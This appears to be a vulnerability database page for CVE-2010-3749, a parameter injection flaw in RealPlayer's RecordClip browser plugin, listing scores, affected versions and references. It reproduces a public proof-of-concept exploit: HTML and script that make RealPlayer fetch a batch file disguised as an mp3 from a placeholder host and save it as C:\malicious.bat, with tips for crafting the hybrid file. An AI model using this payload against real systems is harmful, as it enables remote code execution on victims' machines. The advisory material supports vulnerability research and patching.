CVE-2010-3749 : Detail

CVE-2010-3749

Code Injection
A03-Injection
6.06%V4
Network
2010-10-18
20h00 +00:00
2011-01-21
09h00 +00:00
CVE.org
NVD
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CVE Descriptions

The browser-plugin implementation in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1 allows remote attackers to arguments to the RecordClip method, which allows remote attackers to download an arbitrary program onto a client machine, and execute this program, via a " (double quote) in an argument to the RecordClip method, aka "parameter injection."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 15991

Publication date : 2011-01-13 23h00 +00:00
Author : Sean de Regge
EDB Verified : No

Sources: https://www.securityfocus.com/bid/44443/info http://packetstormsecurity.org/files/view/97522/recordingmanager-ie.txt <html> <p> Written by Sean de Regge (seanderegge hotmail.com) Exploit for the parameter injection bug in Realplayers RecordClip() activeX function and firefox plugin http://www.zerodayinitiative.com/advisories/ZDI-10-211/ C:\Program Files\Real\RealPlayer\RecordingManager.exe has 2 interesting switches: /t will spoof the download of any file so you can make it look like it's downloading a normal mp3 file /f will make it download to any location on the disk instead of the realplayer downloads folder Restrictions: The extension on server side must be a valid media file (ie: .mp3) Realplayer does some checks on the file to see if it is a valid media file too, so we need to create a chimera file, which will parse as a valid mp3 file and a valid batch file. Best is to take a valid mp3 file and modify it in a hex editor to have your batch commands in the first couple of bytes. </p> <OBJECT ID="obj" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"> </OBJECT> <embed type="audio/x-pn-realaudio-plugin" controls="ImageWindow" console="video1" src='http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3' width="240" height="180" autostart=true> </embed> <script> var file = 'http://xx.xx.xx.xx/batch_file_in_mp3.mp3" /f C:\\malicious.bat /t cool_song.mp3'; obj.RecordClip(file, "audio/mpeg3", "clipInfo"); </script> </html>

Products Mentioned

Configuraton 0

Realnetworks>>Realplayer >> Version 11.0

Realnetworks>>Realplayer >> Version 11.0.1

Realnetworks>>Realplayer >> Version 11.0.2

Realnetworks>>Realplayer >> Version 11.0.3

Realnetworks>>Realplayer >> Version 11.0.4

Realnetworks>>Realplayer >> Version 11.0.5

Realnetworks>>Realplayer >> Version 11.1

Configuraton 0

Realnetworks>>Realplayer_sp >> Version 1.0.0

Realnetworks>>Realplayer_sp >> Version 1.0.1

Realnetworks>>Realplayer_sp >> Version 1.0.2

Realnetworks>>Realplayer_sp >> Version 1.0.5

Realnetworks>>Realplayer_sp >> Version 1.1

Realnetworks>>Realplayer_sp >> Version 1.1.1

Realnetworks>>Realplayer_sp >> Version 1.1.2

Realnetworks>>Realplayer_sp >> Version 1.1.3

Realnetworks>>Realplayer_sp >> Version 1.1.4

References

http://www.securityfocus.com/bid/44144
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/15991
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/44443
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.